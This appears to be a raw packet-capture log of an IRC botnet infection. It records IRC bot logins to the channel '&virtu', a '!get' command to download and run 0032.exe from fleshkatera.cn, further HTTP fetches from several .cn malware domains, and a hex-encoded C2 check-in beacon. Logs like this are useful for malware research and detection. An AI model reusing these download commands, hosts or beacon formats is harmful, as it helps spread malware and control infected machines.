VICTIM: GET /x.exe HTTP/1.0User-Agent: Mozilla/4.0Host: 82.251.90.107:1021 VICTIM: NICK jmstkclhUSER l020501 . . :- ATTACKER: NICK jmstkclhUSER l020501 . . :-JOIN &virtu ATTACKER: :* PRIVMSG jmstkclh :!get http:/fleshkatera.cn/exe/0032.exe ATTACKER: GET /exe/0032.exe HTTP/1.0User-Agent: DownloadHost: fleshkatera.cnPragma: no-cache ATTACKER: GET /set/lgate.php HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: fleshkatera.cnConnection: Keep-Alive ATTACKER: GET /docs/eumix.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: lolika.cnConnection: Keep-Alive ATTACKER: GET /docs/baka.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: lolika.cnConnection: Keep-Alive ATTACKER: GET /docs/ibnus.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: lolika.cnConnection: Keep-Alive ATTACKER: GET /in.cgi?0032 HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: www.upononjob.cnConnection: Keep-Alive ATTACKER: GET /error.html HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: mulfika.cnConnection: Keep-Alive ATTACKER: GET /rss.php?trackid=706172616D3D636D64266C616E673D454E552669643D3139313439267368656C6C3D3026736F636B73706F72743D37343634267665723D39412668747470706F72743D333439383326757074696D656D3D3026757074696D65683D30267569643D5B38454232374344353731303733304532335D HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.11325)Host: kitroneza.cnConnection: Keep-Alive ATTACKER: NICK bhjqwcdqUSER e020501 . . :- ATTACKER: NICK difhwkzfUSER x020501 . . :- ATTACKER: NICK difhwkzfUSER x020501 . . :-JOIN &virtu ATTACKER: NICK difhwkzfUSER x020501 . . :-JOIN &virtu ATTACKER: NICK difhwkzfUSER x020501 . . :- ATTACKER: NICK difhwkzfUSER x020501 . . :-JOIN &virtu ATTACKER: NICK usyqlxlhUSER u020501 . . :- ATTACKER: NICK usyqlxlhUSER u020501 . . :-JOIN &virtu ATTACKER: NICK usyqlxlhUSER u020501 . . :-JOIN &virtu VICTIM: JOIN &virtu ATTACKER: NICK ygdgkumrUSER y020501 . . :- VICTIM: JOIN &virtu